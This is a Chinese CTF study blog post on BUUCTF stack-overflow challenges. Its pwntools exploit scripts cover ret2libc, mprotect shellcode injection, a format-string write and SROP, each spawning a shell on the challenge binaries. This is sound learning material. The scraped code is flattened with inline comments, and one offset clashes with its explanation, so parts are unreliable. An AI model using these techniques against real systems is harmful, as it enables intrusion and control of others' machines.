CTF学习:PWN基础之栈溢出(BUUCTF)

2025-04-23 5 0

PWN(BUUCTF)

Tips

find -name flag

有些人喜欢藏flag【微笑】

栈溢出

进制转换

思路

1.直接覆盖,执行bin/sh

from pwn import * context(os="linux", arch="amd64", log_level='debug') io = remote("node5.buuoj.cn",26771) # io = process("") padding = b'a'*(0x30+0x8) sys_addr = p64(0x004006BE) payload = padding + sys_addr io.sendline(payload) io.interactive() 

2.修改v2的值

Tips:十进制小数转十六进制

import struct # 将浮点数打包为IEEE 754格式的二进制数据 packed = struct.pack('!f', 11.28125) //更改数据 # 将二进制数据转换为十六进制字符串 hex_representation = packed.hex() print(hex_representation) 
from pwn import * context(os="linux", arch="amd64", log_level='debug') io = remote("node5.buuoj.cn",26771) # io = process("") padding = b'a'*(0x30-0x4) v4 = p64(0x41348000) payload = padding + v4 io.sendline(payload) io.interactive() 

jarvisoj_level0【*】

简单分析

栈溢出 buf声明0x80大小,read读取0x200

有system(”/bin/sh“)

直接覆盖跳转执行

nbytes 长度绕过

nbytes相当于无符号数,既可以赋值为-1 也可以用足够大的数赋值,得具体看题目的要求

from pwn import * r = remote('node5.buuoj.cn', 26664) # r= process("./ciscn_2019_n_8") elf = ELF("./bjdctf_2020_babystack") sys_addr = 0x004006E6 rdi_adddr = 0x00400833 bin_sh_addr = 0x400858 system_addr = elf.symbols["system"] payload = b'A' * (0x10+0x8) +p64(rdi_adddr) +p64(bin_sh_addr)+ p64(sys_addr) # payload = b'a'*(0x10+0x8) + p64(sys_addr) r.recv() r.sendline(b'100') r.recv() r.sendline(payload) r.interactive() 

提供两种办法,一种是利用libc另一种利用后门

ciscn_2019_c_1【***】retlibc

这是一道经典的retlibc题

输入1后进入encypt()函数

函数内有危险函数 gets()

考虑使用libc来处理

from pwn import* from LibcSearcher import * r=remote("node5.buuoj.cn",28854) # r=process('./ciscn_2019_c_1') elf=ELF("./ciscn_2019_c_1") ret_rdi=0x400c83 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x000400B28 r.recv() r.sendline('1') r.recvuntil('encrypted\n') payload1 = b'a'*0x58 +p64(ret_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) 构造用来打印puts地址,并返回main函数 //当然,如果你愿意,你也可以返回encypt函数,就可以少写三行代码 r.sendline(payload1) r.recvuntil('Ciphertext\n') r.recvuntil('\n') puts_addr = u64(r.recv(6).ljust(0x8,b"\x00")) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") //上部分用来泄露puts的地址 r.recv() r.sendline('1') r.recvuntil('encrypted\n') sys_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh") ret_addr = 0x00000000004006b9 #注意他跟ret_di的区别 payload2 = b'a'*0x58 +p64(ret_addr)+p64(ret_rdi)+p64(bin_sh_addr)+p64(sys_addr) r.sendline(payload2) r.interactive() 

外平栈/内平栈 例一【@@@@】以32位程序为例

保证堆栈平衡,我们有两种解决方法:内平栈、外平栈

外平栈就是在函数外部平衡堆栈,是在调用完子函数后,回到主函数中平衡栈

区别

是不是发现了一开始并没有使用push/pop来控制堆栈,这里是使用的esp寻址,在遇到外平栈时我们就不用再offset后加4了,内平栈才需要。而之前做的题一般都是ebp寻址,属于内平栈,因此需要覆盖ebp。

两种解题方法

1.借助后门函数get_flag

他的参数a1,a2是用栈来传递的参数。

fopen函数使用

使用fopen打开文件时,程序必须要正常退出才会有回显,因此需要使用exit函数来正常退出

payload构造如下:offset+后门函数+exit函数+参数

from pwn import * p = process("./get_started_3dsctf_2016") a1 = 0x308CD64F a2 = 0x195719D1 offset = 56 back_door_addr = 0x080489A0 exit_addr = 0x0804E6A0 payload = b'a'*offset +p32(back_door_addr)+p32(exit_addr) +p32(a1) + p32(a2) p.sendline(payload) p.interactive() 

外平栈/内平栈 例二

这个题也是就只有一个栈溢出,没看到调用system

查看字符串的时候发现有个

.rodata:080BC2A8 00000009 C flag.txt 

追进去发现了

这跟例一就很像

但是区别就是这里他只读取了flag 他没打印

那么我们就要找一个打印函数把他输出出来

一般来说write是很好用的

这里附上write函数的构造

原型:

ssize_t write(int fd,const void*buf,size_t count); 参数说明: fd:是文件描述符(write所对应的是写,即就是1) buf:通常是一个字符串,需要写入的字符串 count:是每次写入的字节数 

跟read一样也是三个参数

那么他们还是一样,外平栈不用加4

payload构造如下:

payload = b'a' * (45) # 覆盖了栈,没有覆盖ebp,原因是不存在ebp,字符串空间的底部就是函数的返回地址。 payload += p32(getsecret) # 覆盖返回地址,返回到get_secret函数 payload += p32(write) # 从get_secret函数返回到write函数 payload += p32(0) # 这个是write的返回的值,没什么用,随便填 # 32位汇编的参数传递方式,下面有跳转连接参考。 payload += p32(1) # write函数的第一个参数,是 文件描述符; payload += p32(flagaddr) # write函数的第二个参数,是 存放字符串的内存地址; payload += p32(42) # write函数的第三个参数,是 打印字符串的长度 

mprotect函数

int **mprotect **( const void *start , size_t len , int prot );

一参:需要进行操作的地址

二参:地址往后需要多大的空间

三参:需要赋予多少权限 7 = 4 + 2 + 1 (rwx)

即 mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

首先利用gets函数造成溢出,让程序跳转到mprotect函数去执行

可以直接在ida中查找,也可以使用elf获取

mprotect_addr = elf.symbols['mprotect']

利用mprotect函数将目标地址改为可读可写可执行

mprotect函数的第一个参数需要设置为要被修改内存的地址,这里设置为.got.plt表的起始地址,这里不去修改bss字段是因为bss段是用来存放程序中未初始化的全局变量和静态变量的一块内存区域,程序一开始执行的时候会清0,你虽然修改了里面的值,但是程序一执行就会被清0,没法利用。

可以使用ida ctrl+s调出段表用.got.plt的起始位置

也可以使用vmmap 来找合适的地址

尝试过前三个空间的地址是可以在本地正常打通的

确定gadget

因为mprotect函数需要传入三个地址,返回地址覆盖需要三个连续的pop地址,使用ROPgadget来获取地址

mprotect函数返回地址填上read函数地址,利用read函数将shellcode读入程序段

read函数原型:

ssize_t read(int fd ,voif *buf ,size_t count);

一参:文件描述符 标准输入(0),标准输出(1),标准错误(2)

二参:指向缓冲区的指针,数据将被读入此缓冲区 即选择修改的的目标地址

三参:读取的字节数

传入pwntools生成的shellcode

攻击完成~~~

from pwn import * # r = process("./get_started_3dsctf_2016") elf = ELF("./get_started_3dsctf_2016") r = remote("node5.buuoj.cn",28112) offset = 56 mprotect_addr =0x0806EC80 gotplt_addr = 0x80ec000 #试试能不能改 size = 0x100 proc = 0x7 pop_addr = 0x0809e4c5 read_addr = elf.symbols['read'] payload = (b"A" * offset + #覆盖 p32(mprotect_addr) + #mprotect地址 利用v4 ret p32(pop_addr) + #mprotect有三个参数 要pop掉 p32(gotplt_addr)+ #一参 p32(size)+ #二参 p32(proc)+ #三参 p32(read_addr)+ #mprotect的返回地址填上read函数的地址 p32(pop_addr)+ #三个连续的POP地址,ROPgadget查询 p32(0)+ #标准输入 p32(gotplt_addr)+ #写入地址 p32(size)+ #二参 p32(gotplt_addr) #将read函数的返回地址设置为要写入的内存地址 ) r.sendline(payload) payload2 = asm(shellcraft.sh()) #用pwntools生成的shellcode r.sendline(payload2) r.interactive() 

[OGeek2019]babyrop

main函数:首先生成了随机数buf,将随机数传入sub_804871F函数进行处理

返回值传入sub_80487D0函数

第14行 buf现在是我们输入的数据,s是当时生成的随机数即现在的a1,当strncmp(buf,s,v1)=0时,可以继续往下执行,否则就退出程序了。而我们又无法控制随机数的生成,所以传入\0就使v1=0,buf==s了

v1是strlen函数读取buf的长度大小,使他为0就很简单了,标准的长度检测绕过,让buf数组的第一位为‘\x00’即可

read函数读到‘\0’就停止读入了

此时返回值位buf[7]

现在buf[7]被传入了sub_80487D0函数,可以看到,现在唯一有个栈溢出的点就是在第8行,此时buf[231],我们要让a1足够大 才能有空间写入rop链,此时a1的值是ascii码

怎么才能让ascii码足够大呢,在平常的学习里我们使用的都是前128位的ASCII码表

这里就要补充一个扩展的ASCII码表

但是我们知道后面的字符我们可能无法打印出来,这里就可以使用到转义字符啦

’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。

他给了远程端口用的libc文件,主要是自己的libcsearcher里没有,就把他给的文件放在做题的文件夹下

注意

from pwn import * from LibcSearcher import * # p = process("./pwn") elf = ELF("./pwn") p = remote("node5.buuoj.cn",26223) payload1 = '\x00'+'\xFF'*7 p.sendline(payload1) p.recvuntil("Correct\n") write_plt = elf.plt['write'] write_got = elf.got['write'] return_addr =0x080487D0 #返回sub_80487D0函数 payload2 = 235*b'a' + p32(write_plt) + p32(return_addr) + p32(1) + p32(write_got) + p32(4) #32位程序:先是write函数的地址 + 预留返回地址 + write函数的三个参数 (1 + write函数的真正地址(got表内的地址) + 打印的字节) p.sendline(payload2) write_addr = u32(p.recv(4)) print(hex(write_addr)) #这是用本地文件的写法 libc = ELF('./libc-2.23.so') offset = write_addr - libc.sym['write'] system_addr=offset + libc.sym['system'] bin_sh_addr=offset + next(libc.search('/bin/sh')) #这是用libcsearcher的写法 #libc = LibcSearcher("write",write_addr) #libc_base = write_addr - libc.dump("write") #system_addr = libc_base + libc.dump("system") #bin_sh_addr = libc_base + libc.dump("str_bin_sh") # p.sendline(payload1) # p.recvuntil("Correct\n") payload3 = 235*b'a' + p32(system_addr) +p32(0) +p32(bin_sh_addr) p.sendline(payload3) p.interactive() 

ciscn_2019_n_5

简单的栈溢出,可以看到name是在bss段的,这个段可读可写可执行,那么我们就考虑把shellcode写到name中,然后利用v4跳转到name里去执行

但是不知道为啥这个方法没办法解决

那就只有用libc

from pwn import * from LibcSearcher import * context(arch='amd64',os='linux',log_level='debug') # io = process("./ciscn_2019_n_5") elf = ELF("./ciscn_2019_n_5") p = remote("node5.buuoj.cn",28623) plt_addr = elf.sym['puts'] got_addr = elf.got['puts'] main_addr = 0x400636 ret_addr = 0x4004c9 rdi_addr = 0x400713 name_addr = 0x601080 p.sendafter(b'name\n', b'1') payload = b'a' * (0x20 + 8) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr) p.sendlineafter(b'me?\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') p.sendafter(b'name\n', b'/bin/sh\x00') payload = b'a' * (0x20 + 8) + p64(ret_addr) + p64(rdi_addr) + p64(name_addr) + p64(system) p.sendlineafter(b'me?\n', payload) p.interactive() 

格式化字符串漏洞

[第五空间2019 决赛]PWN5

先写入buf,随后又printf(buf),明显的格式化字符串漏洞。

AAAA-%x-%x-%x-%x-%x,这样构造也行

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,例如:printf("0x44444444%2$n")意思就是说在打印出0x4444这个字符后,将“0x44444444”所输入的字符数量(此处是4,应该是因为是32bit)写入到%2$n所指的地址中.

A的ASCII码为41,因此偏移值为10。

这样,我们可以先把0x804c044这个地址先写到偏移值为10的地址中,然后利用%10$n把4写入到这个地址中去,然后再将密码写为4就可以达到目的了。

由于在%10$n之前已经写入了0x804C044 为4字节, 因此%10$n:将%10n之前printf已经打印的字符个数"4"赋值给偏移处指针所指向的地址位置

ciscn_2019_n_8

根据题目要求 v[13]=17LL时才执行sysytem("/bin/sh")

基础脚本

32位

判断libc版本32位: b'a' * offset + p32(xx@plt) + p32(ret_addr(main_addr或者_start_addr)) + p32(xx@got) b'a' * offset + p32(xx@plt) + p32(main) + p32(0) + p32(xx@got) + p32(4) getshell: b'a' * offset +p32(system_addr) + b'a'*4 + p32(str_bin_sh) 

64位

判断libc版本64位: b'a' * offset + p64(pop_rdi_addr) + p64(xx@got) + p64(xx@plt) + p64(main_addr) getshell: b'a' * offset + p64(ret_addr) + p64(pop_rdi_addr) + p64(str_bin_sh) +p64(system_addt) 

无后门32位libc泄露

使用libcsearcher

#coding=utf-8 from pwn import * #导入pwntools中的pwn包的所有内容 from LibcSearcher import* context.terminal = ['terminator','-x','sh','-c'] # p=remote("node3.buuoj.cn",28424) #链接服务器远程交互,等同于nc、ip端口命令 elf=ELF("./2018_rop") p=process("./2018_rop") # libc = elf.libc vul_addr=elf.sym['main'] write_plt=elf.plt['write'] write_got=elf.got['write'] read_got=elf.got['read'] payload = b'a'*(0x88+0x4) payload += p32(write_plt) #调用write函数把got表中的函数真实地址打印出来保存 payload += p32(vul_addr) #返回地址,调用完write返回主要利用函数 payload += p32(1) #设置write的参数,保持可写 payload += p32(write_got) #打印got中地址 # payload += p32(read_got) payload += p32(4) #打印的字节数 p.sendline(payload) write_addr=u32(p.recv()) log.success('write==>'+hex(write_addr)) libc = LibcSearcher('write', write_addr) libc_base=write_addr-libc.dump('write') sys_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump("str_bin_sh") payload1 = b"a" * 0x88 payload1 += b"b"*4 payload1 += p32(sys_addr)+p32(1)+p32(bin_addr) p.sendline(payload1) p.interactive() 

在线网站搜索

当本地没有相应的libc文件

#coding=utf-8 from pwn import * #导入pwntools中的pwn包的所有内容 from LibcSearcher import* context.terminal = ['terminator','-x','sh','-c'] p=remote("node3.buuoj.cn",28424) #链接服务器远程交互,等同于nc、ip端口命令 elf=ELF("./2018_rop") # libc = elf.libc vul_addr=elf.sym['main'] write_plt=elf.plt['write'] write_got=elf.got['write'] read_got=elf.got['read'] payload = 'a'*(0x88+0x4) payload += p32(write_plt) #调用write函数把got表中的函数真实地址打印出来保存 payload += p32(vul_addr) #返回地址,调用完write返回主要利用函数 payload += p32(1) #设置write的参数,保持可写 # payload += p32(write_got) #打印got中地址 payload += p32(read_got) payload += p32(4) #打印的字节数 p.sendline(payload) read_addr=u32(p.recv()) log.success('read==>'+hex(read_addr)) #这是搜索到的地址 read_offset=0x0e5620 system_offset =0x03cd10 binsh_offset = 0x17b8cf base_addr = read_addr - read_offset sys_addr = system_offset + base_addr bin_addr = binsh_offset + base_addr payload1 = "a" * 0x88 payload1 += "b"*4 payload1 += p32(sys_addr)+p32(1)+p32(bin_addr) p.sendline(payload1) p.interactive() 

SROP 利用原理

在执行 sigreturn 系统调用的时候,不会对 signal 做检查,它不知道当前的这个 frame 是不是之前保存的那个 frame。由于 sigreturn 会从用户栈上恢复恢复所有寄存器的值,而用户栈是保存在用户进程的地址空间中的,是用户进程可读写的。如果攻击者可以控制了栈,也就控制了所有寄存器的值,而这一切只需要一个 gadget:syscall; ret;。

主程序可利用的非常少,长得比较像ret2libc,但是看到函数表,却缺少read和write的plt和got:

但是发现函数表有特殊的函数,gadgets,跟踪看看:

发现这里将rax改成0f和0x3b,对rax进行修改,也就是改变了系统调用号,其中0xf对应的是Sigreturn,0x3b对应的就是execve,其中Sigreturn可以进行srop,execve就是初级rop了,这里主要讲execve("/bin/sh\x00",0,0),为了实现execve,有/bin/sh,而程序中是没有的,需要我们往stack上面写入,将地址pop给rdi,还需要将rsi,rdx pop为0,最后syscall,就可以实现execve的系统调用了。
思路一--利用exexve
具体操作:

1.往stack上面写入/bin/sh\x00,首先read函数可以往buf写入0x400的内容,write会将buf中0x30内容输出出来,值得注意的是,buf只能储存0x10的内容,那么接下来write继续输出,就会将stack址输出出来,那么我们可以借write得到stack的地址。

gdb调试,输入AAAAAAAA查看stack:

发现输入的字符串的地址,查看这周边的内容,write从0x7d...de00就会开始输出

其中写入buf的字符串在0x7d...de00,偏移量为0x7f...de30-0x7f...de10=0x20.

stack为出现程序名字的这一行,0x7f...df48,可以发现,stack对应着write输出的第0x20位,stack与buf地址相差f48-e30 = 0x118

故要求写入字符串的地址,需要将stack的地址-0x118:

from pwn import * import re from LibcSearcher import * #context.arch='amd64' context(os='linux',arch='amd64',log_level='debug') context.terminal=['tmux','splitw','-h'] p=process("./short") #gdb.attach(p) syscall_ret=0x400517 sigreturn_addr=0x4004da system_addr=0x4004E2 rax=0x4004f1 p.send(b'/bin/sh'+b'\x00'*9+p64(rax)) p.recv(32) stack_addr=u64(p.recv(8)) log.success("stack: "+hex(stack_addr)) p.recv(8) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr - 0x158 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret p.send(b'/bin/sh'+b'\x00'*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+bytes(sigframe)) #pause() p.sendline(b'cat flag') response = p.recvline() flag = re.findall(b"flag{.*}", response)[0].decode() print(response) p.interactive() p.close() 

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

2025最新模拟器抓取app和微信小程序数据包!
漏洞挖掘:从系统识别到快速突破
ingress-nightmare 漏洞利用分析与 k8s 相关组件理解
分析CVE-2024-4577
WordPress wpdm-premium-packages SQL注入漏洞(CVE-2025-24659)
记一次新手小白java反序列化——cc1链的学习

发布评论